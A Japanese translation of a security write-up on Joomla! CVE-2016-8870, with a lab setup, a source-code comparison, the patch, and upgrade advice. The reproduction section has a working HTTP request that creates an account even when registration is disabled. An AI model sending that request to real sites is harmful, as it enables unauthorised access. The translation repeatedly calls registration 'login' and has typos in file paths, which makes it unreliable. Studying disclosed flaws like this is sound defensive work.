以下は「Joomla! 未授权创建用户漏洞(CVE-2016-8870)分析」を試訳したものです。
作者:p0wd3r(Knownsec 404 Security Team)
日付:2016年10月26日
関連する脆弱性:Joomla! において未認証で特権ユーザーが新規作成される脆弱性(CVE-2016-8869)に関する分析(権限昇格)
0x00 脆弱性の概説
1. 脆弱性の概要
Joomla! はオープンソースの CMS (コンテンツ管理システム)です。最近、セキュリティリサーチャーによって Joomla! 3.4.4 から 3.6.3 までのバージョンに二つの脆弱性(CVE-2016-8869,CVE-2016-8870)が発見されました。ここでは CVE-2016-8870 (当該の脆弱性を利用して、攻撃者がウェブサイトのログイン機能を無効にした状態でもアカウントにログインできる問題)に限定して分析します。 Joomla! の公式サイトでは、すでに当該の脆弱性に対するアップグレードの案内が告知されています。
2. 脆弱性の影響
ウェブサイトのログイン機能を無効にした状態でもユーザーを新規作成できます。
3. 影響を受けるバージョン
3.4.4 から 3.6.3 まで
0x01 脆弱性の再現
1. 環境の構築
wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz
まず、ダウンロードした Joomla_3.6.3-Stable-Full_Package.tar.gz を解凍し、ウェブサーバー用のディレクトリ(/var/www/html など)の下に配置します。
次に、データベースを作成します。
docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql
後は、ウェブサーバーの URL にアクセスしてインストールを実行するだけです。
2. 脆弱性の分析
脆弱性が存在するバージョンには興味深い事実が見てとれます。それはユーザーのログインに利用されるメソッドが二つ存在するということです。
- coponents/com_users/controllers/registration.php 内に定義されている UsersControllerRegistration::register()
- components/com_users/xontrollers/user.php 内に定義されている UsersControllerUser::register()
ソースコードを比較してみます。
UsersControllerRegistration::register()
public function register()
{
// Check for request forgeries.
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
return false;
}
$app = JFactory::getApplication();
$model = $this->getModel('Registration', 'UsersModel');
// Get the user data.
$requestData = $this->input->post->get('jform', array(), 'array');
// Validate the posted data.
$form = $model->getForm();
...
}
UsersControllerUser::register()
public function register()
{
JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
// Get the application
$app = JFactory::getApplication();
// Get the form data.
$data = $this->input->post->get('user', array(), 'array');
// Get the model and validate the data.
$model = $this->getModel('Registration', 'UsersModel');
$form = $model->getForm();
...
}
UsersControllerRegistration::register() と比較すると、 UsersControllerUser::register() の実装には以下の数行のコードが全く見当たらないことがわかります。
// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
return false;
}
この数行のコードはログインを許可されているかどうかをチェックするものです。つまり、 UsersControllerUser::register() というメソッドを利用してログイン処理を実行することができれば、上記のチェック処理を迂回することができるとも言えます。
テスト(動作確認)を行うことで、正常なログイン処理で使用されるメソッドが UsersControllerRegistration::register() であることがわかります。 HTTP リクエストは以下のとおりです。
POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[name]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[username]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[password1]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[password2]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[email1]"
tomcat@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[email2]"
tomcat@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"
com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"
registration.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"
1
------WebKitFormBoundaryefGhagtDbsLTW5qI--
正常なログイン処理で UsersControllerUser::register() が使用されることはありませんが、それは決して(このメソッドを)利用できないという意味ではありません。コードを読めばわかりますが、 HTTP リクエストを以下のように改変してあげるだけで、脆弱性の存在する関数(メソッド)を利用してログイン処理を実行することができます。
- registration.register → user.register
- jform[*] → user[*]
したがって、完全な再現手順は以下のとおりです。
1. まず、管理画面でログイン機能を無効に設定します。無効にすると、トップ画面にログインフォームが表示されなくなります。
2. 次に、 index.php にアクセスし、(ローカルプロキシなどで) HTTP リクエストから Cookie を取得します。また、 index.php の HTML ソースからトークンを取得します。
3. ログイン用の HTTP リクエストを組み立てます。
POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[name]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[username]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password1]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password2]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email1]"
attacker@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email2]"
attacker@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"
com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"
user.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"
1
------WebKitFormBoundaryefGhagtDbsLTW5qI--
4. HTTP リクエストを送信すると、ログインに成功します。
3. パッチの分析
Joomla! の管理者によって UsersControllerUser::register() が削除されています。
0x02 対策(修正案)
Joomla! 3.6.4 にアップグレードしてください。
0x03 参考情報
https://www.seebug.org/vuldb/ssvid-92496
https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html
https://www.youtube.com/watch?v=Q_2M2oJp5l4